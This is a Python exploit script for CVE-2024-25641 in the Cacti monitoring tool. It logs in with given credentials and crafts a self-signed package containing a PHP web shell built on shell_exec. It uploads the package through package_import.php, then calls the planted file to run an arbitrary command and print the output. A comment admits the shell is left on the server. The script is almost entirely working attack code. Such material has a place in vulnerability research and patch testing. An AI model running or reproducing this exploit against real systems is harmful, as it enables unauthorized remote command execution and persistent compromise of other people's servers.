CVE-2024-25641.py

import argparse
import re
import signal
import sys
from datetime import datetime
import random
import string
import requests
import pytz
import base64
import subprocess
from bs4 import BeautifulSoup
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import serialization, hashes
import gzip
from requests_toolbelt.multipart.encoder import MultipartEncoder

from core.Output import Output

global output

def get_timestamp_cookies():
    new_york_tz = pytz.timezone("America/New_York")
    current_time = datetime.now(new_york_tz)

    timezone_map = {
        "EDT": "Eastern Daylight Time",
        "EST": "Eastern Standard Time",
    }

    timezone_abbr = current_time.strftime("%Z")
    timezone_full_name =  timezone_map.get(timezone_abbr, timezone_abbr)

    formatted_datetime = current_time.strftime(f"%a %b %d %Y %H:%M:%S GMT%z ({timezone_full_name})")

    timezone_offset_minutes = int(current_time.utcoffset().total_seconds() / 60)

    cookies = {
        "CactiDateTime": formatted_datetime,
        "CactiTimeZone": str(timezone_offset_minutes),
    }

    return cookies


def get_cookies_and_csrf(url, session):
    response = session.get(f'{url}/', verify=False)

    if response.status_code == 200:
        cookies = response.cookies
        csrf_match = re.search(r"var\s+csrfMagicToken='([^']*)'", response.text)

        if csrf_match:
            csrf_token = csrf_match.group(1).split(';')[0]
            generated_cookies = get_timestamp_cookies()
            cookies.update(generated_cookies)
            return cookies, csrf_token
        else:
            output.message(state="failed", description=f"Can't retrieve the CSRF Token! (Check URL ?)", url="/")

    elif response.status_code == 404:
        output.message(state="failed", description="URL not found - error {}".format(response.status_code), url="/")
    else:
        output.message(state="failed", description="Wrong Response - error {}".format(response.status_code), url="/")
        return


def post_login_cacti(url, username, password, csrf_magic, session):
    body = {
        '__csrf_magic': csrf_magic,
        'action': 'login',
        'login_username': username,
        'login_password': password
    }

    endpoint = '/index.php'
    response = session.post(url + endpoint, data=body, verify=False)

    if not "Access Denied!" in response.text:
        if username == "admin":
            output.message(state="success", description=f"{username}:{password}", url=endpoint, admin=True)
        else:
            output.message(state="success", description=f"{username}:{password}", url=endpoint)
        return True
    else:
        output.message(state="failed", description=f"{username}:{password}", url=endpoint)
        return False

def crafting_shell(command):
    filedata = '<?php echo "<p>" . htmlspecialchars(shell_exec("{}")) . "</p>"; ?>'.format(command).encode('utf-8')

    keypair = rsa.generate_private_key(public_exponent=65537, key_size=2048)

    public_key = keypair.public_key().public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )

    filesignature = keypair.sign(
        filedata,
        padding.PKCS1v15(),
        hashes.SHA256()
    )

    random_filename = get_random_file_name()

    xmldata = """<xml>
   <files>
       <file>
           <name>resource/%s.php</name>
           <data>{}</data>
           <filesignature>{}</filesignature>
       </file>
   </files>
   <publickey>{}</publickey>
   <signature></signature>
</xml>""" % random_filename

    data = xmldata.format(
        base64.b64encode(filedata).decode('utf-8'),
        base64.b64encode(filesignature).decode('utf-8'),
        base64.b64encode(public_key).decode('utf-8')
    )

    signature = keypair.sign(
        data.encode('utf-8'),
        padding.PKCS1v15(),
        hashes.SHA256()
    )

    signed_data = data.replace("<signature></signature>", "<signature>{}</signature>".format(base64.b64encode(signature).decode('utf-8')))

    with open("{}.xml".format(random_filename), "wb") as f:
        f.write(signed_data.encode('utf-8'))

    with open("{}.xml".format(random_filename), "rb") as f_in, gzip.open("{}.xml.gz".format(random_filename), "wb") as f_out:
        f_out.writelines(f_in)

    subprocess.run(["rm", "{}.xml".format(random_filename)])

    return random_filename

def get_random_numeric_boundary():
    return "---------------------------" + ''.join(random.choices(string.digits, k=27))

def get_random_file_name():
    return ''.join(random.choices(string.ascii_letters, k=8))

def upload_file(url, session, csrf_token, cookies, rce_filename):
    host = url.split("/")[2]

    csrf_token_encoded = csrf_token.replace(":", "%3A").replace(",", "%2C")

    boundary = get_random_numeric_boundary()

    m = MultipartEncoder(
        fields={
            "__csrf_magic": csrf_token,
            "import_file": ("{}.xml.gz".format(rce_filename), open("{}.xml.gz".format(rce_filename), "rb"), "application/gzip"),
            "trust_signer": "on",
            "data_source_profile": "1",
            "remove_orphans": "on",
            "replace_svalues": "on",
            "image_format": "3",
            "graph_height": "200",
            "graph_width": "700",
            "save_component_import": "1",
            "preview_only": "on",
            "action": "save"
        },
        boundary=boundary
    )

    headers = {
        "Host": host,
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type": f"multipart/form-data; boundary={boundary}",
        "Origin": url,
        "Connection": "close",
        "Referer": f"{url}/package_import.php",
        "Cookie": "; ".join([f"{k}={v}" for k, v in cookies.items()])
    }

    session.post(
        f"{url}/package_import.php?package_location=0&preview_only=on&remove_orphans=on&replace_svalues=on",
        data=m, headers=headers, verify=False)

    confirm_data = (
        f"__csrf_magic={csrf_token_encoded}&"
        "trust_signer=on&"
        "data_source_profile=1&"
        "remove_orphans=on&"
        "replace_svalues=on&"
        "image_format=3&"
        "graph_height=200&"
        "graph_width=700&"
        "save_component_import=1&"
        "preview_only=&"
        "action=save"
    )

    headers["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8"

    upload_endpoint_without_arg = f"/package_import.php"
    upload_url_without_arg = f"{url}{upload_endpoint_without_arg}"
    response = session.post(f"{upload_url_without_arg}?header=false", data=confirm_data, headers=headers, verify=False)

    if response.status_code == 200:
        output.message(state="success", description=f"Uploading file",
                       url=upload_endpoint_without_arg)

    rce_endpoint = f"/resource/{rce_filename}.php"
    rce_url_path = f"{url}{rce_endpoint}"
    output.message(state="success", description=f"Triggering RCE payload",
                   url=rce_endpoint)

    command = session.post(f"{rce_url_path}", verify=False)

    soup = BeautifulSoup(command.text, 'html.parser')


    if command.status_code == 200:
        output.message(state="command", description=f"",
                       url=rce_endpoint)

        all_line_in_content = soup.find('p').get_text().split("\n")

        for line in all_line_in_content:
            if line == all_line_in_content[-1]:
                pass
            else:
                output.message(state="info", description=f"{line}",
                           url=rce_endpoint)
    return response


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Login to Cacti.')
    parser.add_argument('url', metavar='target', type=str, help='Full URL/path to Cacti target, ex: http://127.0.0.1/cacti/')
    parser.add_argument('--user', '-u', dest='username', type=str, required=True, help='Username of the account')
    parser.add_argument('--pass', '-p', dest='password', type=str, required=True, help='Password of the account')
    parser.add_argument('--cmd', '-x', dest='command', type=str, required=True, help='Command to execute')

    args = parser.parse_args()

    # listen for CTRL+C
    signal.signal(signal.SIGINT, lambda sig, frame: sys.exit(
        output.message(state="exit", description="See you next time!", url="")
    ))

    current_session = requests.Session()

    output = Output()

    output.header()

    if args.url:
        args.url = args.url.rstrip("/")
        output.base_url = args.url
        try:
            cookies_list, csrf_magic_value = get_cookies_and_csrf(args.url, current_session)
            if csrf_magic_value:
                if post_login_cacti(args.url, args.username, args.password, csrf_magic_value, current_session):
                    filename = crafting_shell(args.command)
                    upload_file(args.url, current_session, csrf_magic_value, cookies_list, filename)
                    # Delete zip
                    subprocess.run(["rm", "{}.xml.gz".format(filename)])
                    # Also need to delete the file put in the server
        except Exception as e:
            sys.exit(1)